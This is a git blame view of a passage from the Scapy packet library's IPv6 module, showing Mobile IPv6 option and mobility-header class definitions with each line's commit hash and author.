2720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6)
2722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - CGA Parameters Request"
2723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 11, _mobopttypes),
2724c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 0) ]
2725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2727c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX TODO: deal with CGA param fragmentation and build of defragmented
27280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# XXX       version. Passing of a big CGAParam structure should be
2729c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# XXX       simplified. Make it hold packets, by the way  --arno
2730c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1)
2731c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - CGA Parameters"
2732c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 12, _mobopttypes),
2733c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="cgaparams", fmt="B"),
2734c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("cgaparams", "",
2735c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2736c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2737c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2738c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2)
2739c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Signature"
2740c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 13, _mobopttypes),
2741c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="sig", fmt="B"),
2742c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("sig", "",
2743c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2744c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2745c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2746c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3)
2747c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Home Keygen Token"
2748c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 14, _mobopttypes),
2749c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="hkt", fmt="B"),
2750c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("hkt", "",
2751c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2752c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2753c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2754c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4)
2755c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Care-of Test Init"
2756c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 15, _mobopttypes),
2757c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 0) ]
2758c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2759c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2760c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5)
2761c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 option - Care-of Test"
2762c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 16, _mobopttypes),
2763c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="cokt", fmt="B"),
27642a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("cokt", b'\x00'*8,
2765c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2766c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2767c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2768c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptUnknown(_MIP6OptAlign, Packet):
2769c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Scapy6 - Unknown Mobility Option'
2770c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
2771c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="odata", fmt="B"),
2772c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("odata", "",
2773c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen) ]
2774c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2775c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2776c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmoboptcls = {  0: Pad1,
2777c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               1: PadN,
2778c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               2: MIP6OptBRAdvice,
2779c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               3: MIP6OptAltCoA,
2780c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4: MIP6OptNonceIndices,
2781c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               5: MIP6OptBindingAuthData,
2782c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               6: MIP6OptMobNetPrefix,
2783c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               7: MIP6OptLLAddr,
27840d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               8: MIP6OptMNID,
2785c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               9: MIP6OptMsgAuth,
2786c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              10: MIP6OptReplayProtection,
2787c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              11: MIP6OptCGAParamsReq,
2788c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              12: MIP6OptCGAParams,
2789c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              13: MIP6OptSignature,
2790c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              14: MIP6OptHomeKeygenToken,
2791c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              15: MIP6OptCareOfTestInit,
2792c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              16: MIP6OptCareOfTest }
2793c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2794c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2795c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Main Mobile IPv6 Classes
2796c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2797c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilmhtypes = {  0: 'BRR',
2798c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             1: 'HoTI',
2799c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             2: 'CoTI',
2800c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             3: 'HoT',
2801c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             4: 'CoT',
2802c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             5: 'BU',
2803c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             6: 'BA',
2804c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             7: 'BE',
2805c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             8: 'Fast BU',
2806c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             9: 'Fast BA',
2807c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            10: 'Fast NA' }
2808c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
28090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# From http://www.iana.org/assignments/mobility-parameters
2810c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbastatus = {   0: 'Binding Update accepted',
2811c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               1: 'Accepted but prefix discovery necessary',
2812c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             128: 'Reason unspecified',
2813c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             129: 'Administratively prohibited',
2814c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             130: 'Insufficient resources',
2815c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             131: 'Home registration not supported',
2816c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             132: 'Not home subnet',
2817c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             133: 'Not home agent for this mobile node',
2818c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             134: 'Duplicate Address Detection failed',
2819c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             135: 'Sequence number out of window',
2820c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             136: 'Expired home nonce index',
2821c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             137: 'Expired care-of nonce index',
2822c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             138: 'Expired nonces',
2823c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             139: 'Registration type change disallowed',
2824c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             140: 'Mobile Router Operation not permitted',
2825c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             141: 'Invalid Prefix',
2826c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             142: 'Not Authorized for Prefix',
2827c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             143: 'Forwarding Setup failed (prefixes missing)',
2828c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             144: 'MIPV6-ID-MISMATCH',
2829c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             145: 'MIPV6-MESG-ID-REQD',
2830c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             146: 'MIPV6-AUTH-FAIL',
2831c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             147: 'Permanent home keygen token unavailable',
2832c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             148: 'CGA and signature verification failed',
2833c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             149: 'Permanent home keygen token exists',
2834c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             150: 'Non-null home nonce index expected' }
2835c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2836c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2837c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityHeader(Packet):
2838c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'Dummy IPv6 Mobility Header'
2839c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
2840c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2841c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
2842c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p += pay
2843c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.len
2844c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.len is None:
2845c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            l = (len(p)-8)/8
2846c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p = p[0] + struct.pack("B", l) + p[2:]
2847c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.cksum is None:
2848c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cksum = in6_chksum(135, self.underlayer, p)
2849c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2850c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cksum = self.cksum
2851c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        p = p[:4]+struct.pack("!H", cksum)+p[6:]
2852c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return p
2853c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2854c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2855c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg
2856c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Generic Message"
2857c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2858c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
2859c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", None, mhtypes),
2860c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
2861c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
28622a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("msg", b"\x00"*2,
2863c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: 8*pkt.len-6) ]
2864c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2865c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
28660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2867c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: make a generic _OptionsField
2868c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _MobilityOptionsField(PacketListField):
2869b62dbe4f266acaa96e0a2ebc2152c8d5f48bdc1dPierre LALET    __slots__ = ["curpos"]
2870c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default, cls, curpos, count_from=None, length_from=None):
2871c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.curpos = curpos
2872c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from)
28730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2874c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2875c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        l = self.length_from(pkt)
2876c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s[l:],self.m2i(pkt, s[:l])
2877c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2878c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2len(self, pkt, i):
2879c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return len(self.i2m(pkt, i))
2880c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2881c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def m2i(self, pkt, x):
2882c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        opt = []
2883c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        while x:
2884c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            o = ord(x[0]) # Option type
2885c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = self.cls
2886d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if o in moboptcls:
2887c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = moboptcls[o]
2888c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try:
2889c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = cls(x)
2890c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except:
2891c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                op = self.cls(x)
2892c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            opt.append(op)
28937b3e970663abd72697e17b70aba9943ae0dad404Phil            if isinstance(op.payload, conf.raw_layer):
2894c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = op.payload.load
2895c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                del(op.payload)
2896c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
2897c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = ""
2898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return opt
2899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        autopad = None
2902c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try:
2903c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
2904c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
2905c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            autopad = 1
29060d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not autopad:
2908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "".join(map(str, x))
2909c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2910c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        curpos = self.curpos
2911c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        s = ""
2912c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in x:
2913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = p.alignment_delta(curpos)
2914c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += d
2915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d == 1:
2916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s += str(Pad1())
2917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d != 0:
29182a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                s += str(PadN(optdata=b'\x00'*(d-2)))
2919c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            pstr = str(p)
2920c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            curpos += len(pstr)
2921c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += pstr
29220d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2923c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Let's make the class including our option field
2924c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # a multiple of 8 octets long
2925c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = curpos % 8
2926c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 0:
2927c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s
2928c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        d = 8 - d
2929c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if d == 1:
2930c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            s += str(Pad1())
2931c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif d != 0:
29322a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter            s += str(PadN(optdata=b'\x00'*(d-2)))
2933c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2934c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s
2935c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2936c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2937c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return s+self.i2m(pkt, val)
2938c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2939c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BRR(_MobilityHeader):
2940c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Refresh Request"
2941c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2942c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 0, mhtypes),
2944c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
2945c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
29460d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ShortField("res2", None),
2947c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2948c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 8,
2949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len) ]
2950c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
29510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def hashret(self):
2952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # Hack: BRR, BU and BA have the same hashret that returns the same
29532a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        #       value b"\x00\x08\x09" (concatenation of mhtypes). This is
2954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #       because we need match BA with BU and BU with BRR. --arno
29552a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
2956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2957c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoTI(_MobilityHeader):
2958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Home Test Init"
2959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2960c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 1, mhtypes),
2962c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
29630d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    XShortField("cksum", None),
29642a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("reserved", b"\x00"*2, 2),
29652a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("cookie", b"\x00"*8, 8),
2966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 16,
2968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-1)) ]
2969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
2970c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.cookie
2972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoTI(MIP6MH_HoTI):
2974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Care-of Test Init"
2975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    mhtype = 2
2976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.cookie
2978c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_HoT(_MobilityHeader):
2980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Home Test"
2981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
2982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None),
29830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ByteEnumField("mhtype", 3, mhtypes),
2984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
29850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    XShortField("cksum", None),
2986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("index", None),
29872a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("cookie", b"\x00"*8, 8),
29882a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrFixedLenField("token", b"\x00"*8, 8),
2989c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
2990c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
2991c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
2992c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 } }
2993c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2994c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.cookie
29952725e5a6ba524e991829570db2c6711384124ab6Pierre LALET    def answers(self, other):
2996c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_HoTI) and
2997c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.cookie == other.cookie):
2998c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
2999c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3000c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3001c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_CoT(MIP6MH_HoT):
3002c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Care-of Test"
3003c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    mhtype = 4
3004c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
3005c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.cookie
3006c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3007c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self):
3008c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_CoTI) and
3009c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.cookie == other.cookie):
3010c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3011c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3012c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3013c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass LifetimeField(ShortField):
3014c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
3015c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return "%d sec" % (4*x)
3016c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3017c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BU(_MobilityHeader):
